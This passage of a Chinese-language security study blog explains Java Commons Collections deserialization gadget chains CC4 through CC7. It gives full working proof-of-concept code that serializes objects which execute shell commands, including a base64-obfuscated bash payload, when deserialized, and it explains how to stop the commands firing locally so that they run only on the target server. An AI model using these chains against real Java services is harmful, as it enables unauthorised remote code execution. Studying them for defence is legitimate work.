field.setAccessible(true);
field.set(obj, value);
}
}

解析

即按照CC1的前半部分链子加上经典的CITTN即可,不过多赘述了

四、CC4

JAVA源码版本-8u40

image-20220807120904293

细节如下:

1
2
3
4
5
PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter构造函数

限制

JDK版本:暂无

PriorityQueuecommons-collections4下才开始有

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
//构建字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("test");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] classBytes = ctClass.toBytecode();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "name");
setField(templates, "_class", null);


ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue();
//不用设置PriorityQueue.queue为TemplatesImpl,因为TrAXFilter构造函数可以直接触发
setField(queue,"size",2);
setField(queue,"comparator",comparator);


try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}



public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

感觉和CC2差不多,就是后面的利用链子,由于是TrAXFilter构造函数直接触发的,所以不用设置PriorityQueue.queueTemplatesImpl,没有什么太多的亮点。

五、CC5

JAVA源码版本-8u40

image-20220801095044379

细节如下

1
2
3
4
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()->getValue()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:暂无

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[]{"./test.sh"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
//BadAttributeValueExpException poc = new BadAttributeValueExpException(tiedmap);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

解析

BadAttributeValueExpException.readObject()

image-20220801110613623

valObj即为TiedMapEntry

TiedMapEntry.toString()->getValue()

image-20220801110414584

后续的map即为LazyMapkey123

image-20220801110428194

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

🔺注

在设置BadAttributeValueExpException对象时,使用的是其中的Field来进行设置的

1
2
3
4
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

原因在于在BadAttributeValueExpException构造函数及readObject函数中,有如下代码

image-20220801151544294

这样就能在序列化时不进行本地RCE,而在服务器反序列化时进行RCE,因为如果在序列化时进行本地RCEval就会由于链子变成Runtime类,由于Runtime没办法直接序列化,所以其val就会变成如下执行命令结果的字符串,从而在反序列时没办法调用到TiedMapEntry.toString()

image-20220801151900635

对比原POC如下,其val在序列化时还是一个TiedMapEntry对象

image-20220801152047107

无数组

至于无数组版本的,即如下所示

image-20220802155244072

做点小改动,在TiedMapEntry中传入TemplatesImpl即可,确保在LazyMap.get()的时候,传入的keyTemplatesImpl,从而进行调用到对应的TemplatesImpl.newTransformer()

image-20220802154737033

相关POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import test.test;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC5T {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());//新建一个test类,没啥用
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");

byte[] bytes = ctClass.toBytecode();
TemplatesImpl tempIm = new TemplatesImpl();
setField(tempIm, "_name", "asd");
setField(tempIm, "_bytecodes", new byte[][]{bytes});
setField(tempIm, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invTransf = new InvokerTransformer("newTransformer", null, null);

HashMap innermap = new HashMap();

LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf);
//调用Get方法
TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
//BadAttributeValueExpException poc = new BadAttributeValueExpException(tiedmap);
setField(poc,"val",tiedmap);



try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

六、CC6

JAVA源码版本-8u40

image-20220801171443518

细节如下

1
2
3
4
5
HashSet.readObject()
HashMap.put()->hash()
TiedMapEntry.hashCode()->this.getValue()
LazyMap.get()
ChainedTransformer.transform()

限制

JDK版本:暂无限制

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class CC6 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"./test.sh"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

解析

HashSet.readObject()

image-20220801171648405

这个map即设置为HashMap

HashMap.put()

image-20220801171743740

这个key后续设置为TiedMapEntry

image-20220801171856068

TiedMapEntry.hashCode()

image-20220801171928099

image-20220801171953683

这里的map即设置为Lazymap

LazyMap.get()

还是经典的链子CIR

image-20220801110714702

🔺注

1.Hashset设置

1
2
3
4
5
6
7
8
HashSet hashset = new HashSet(1);

//添加至少一个元素,方便后续获取
hashset.add("aaa");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

获取HashSetmap成员为hashset_map

2.HashMap设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//获取HashMap中的table,用来获取HashMap中保存的元素
//transient Node<K,V>[] table;
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);

//获取array为HashSet的成员map中保存的元素数组
Object[] array = (Object[])table.get(hashset_map);
//获取node为保存在hashset中的元素,其类为一个hashmap
Object node = array[0];
if(node == null){
node = array[1];
}

//设置hashset中的一个元素hashmap的key为TiedMapEntry
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

3.writeObjectreadObject的关系

HashSetreadObject中可以看到,//..为省略的代码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

int capacity = s.readInt();
//.....
float loadFactor = s.readFloat();
//.....
int size = s.readInt();
//.......
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

按理说,调用map.put,其函数如下,我们需要控制e(即下面的key)为TiedMapEntry才能调用到TiedMapEntry.hashCode

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

但是E e = (E) s.readObject();,也就是得看对应的HashSet.writeObject中将什么序列化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());

// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}

可以看到,对应的写入map成员的capacityloadFactorsize以及其中的所有元素,同时在readObject也是依照顺序一一对应进行读取,如下所示

image-20220801175923980

所以在writeObject的时候,在HashSet中的map成员的元素可控,那么在readObject的时候,对应的元素也是可控的,可以设置为TiedMapEntry

所以在JAVA中的writeObjectreadObject是一一对应的,写入什么格式数据,就会依照什么格式数据读取。

CC3的HashMap版本

这边顺带提一下以下这两条链子,其实都差不多,大同小异,主要是前面的不太一样,直接借用HashMap来进行触发。

image-20220806174412815

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC3_O {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"touch ddd"})});

HashMap hashmap = new HashMap();
hashmap.put("aaa","bbb");
hashmap.put("ccc","ddd");
LazyMap map = (LazyMap)LazyMap.decorate(hashmap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashmap);

Object node = array[0];
if(node == null){
node = array[1];
}
setField(node,"key",tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3_o"));
outputStream.writeObject(hashmap);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3_o"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

也没啥好说的,往HashMap中放两个元素,使其table不为空,方便取出node来设置TiedMapEntry即可。

其他的就相当于去掉了HashSetCC6了,触发点在HashMap.readObject()下的计算hash的地方

image-20220806175025930

七、CC7

JAVA源码版本-8u40

image-20220802153315688

细节如下:

1
2
3
4
Hashtable.readObject()->reconstitutionPut()
LazyMap.equals()==AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()

限制

JDK版本:暂无限制

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {

public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"touch bbbb"})
};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

lazyMap1.put("zZ", 1);
lazyMap2.put("yy", 1);


Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

setField(transformerChain,"iTransformers",transformers);

lazyMap2.remove("zZ");

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

解析

Hashtable.readObject()

image-20220807102603926

Hashtable.reconstitutionPut()

image-20220807102732158

由于LazyMap继承了AbstractMapDecorator,所以会调用到其equals函数

LazyMap.equals()==AbstractMapDecorator.equals()

image-20220807102940029

这里的equals接着往下跳转就不知道为什么会直接跳到AbstractMap.equals()

AbstractMap.equals()

image-20220807103216037

LazyMap.get()

接着就是经典链子CCI了。

image-20220807103304810

🔺注

1.hashtable.put两次

由于需要在Hashtable.reconstitutionPut()中进入该循环,所以需要hashtable.put两次,

image-20220807104841649

2.反射设置CCI链子

如果直接进行设置,那么在本地hashtable.put的时候也会触发RCE,那么在hashtable.put之后再设置CCI链,就不会本地触发RCE了,这样是为了防止非预期的一些东西,就像在之前CC5中预防本地RCE一样。

image-20220807105255253

3.hash碰撞

为什么put的时候需要yyzZ,这样是为了使得其生成的hash相同,从而能够进行比较,在Hashtable.reconstitutionPut()中能够通过前面的hash相等条件

image-20220807114011896

当然换成其他的能够进行hash碰撞的也是一样的。

4.remove必要性

至于为什么需要lazyMap2.remove("zZ");简单来说,就是第一次hashtable.put的时候,由于hashtable.tablenull,无法进入循环到如下的equals函数触发LazyMap.get()

image-20220807112631117

但是第二次的时候就会进入比较函数

image-20220807112907832

从而进入到LazyMap.get()调用空的transform函数数组,返回一个key

image-20220807113208463

导致我们的LazyMap2会多一个key

image-20220807113425973

如果保留下来,就无法进入到在AbstractMap.equals对应触发漏洞的地方,在如下地方就直接没掉,那么就需要去掉lazyMap2下由于空的Transform数组调用多出来的一个key了,都是为了进行各种绕过。

image-20220807113545609

总结

感觉差不多了,没什么太多的地方需要慢慢学习了。

本菜鸡觉得CC链的学习主要就是分两部分吧

一部分是后面的用来调用命令的部分,我觉得叫命令链比较合适,比如这里写到的经典链子CCI,经典链子ITN之类的,这部分都大同小异,暂时就那一些。

另一部分就是从readObject调用到命令链的部分,这部分通常是需要需要慢慢挖掘的,主要的点就是找能调用到transform地方。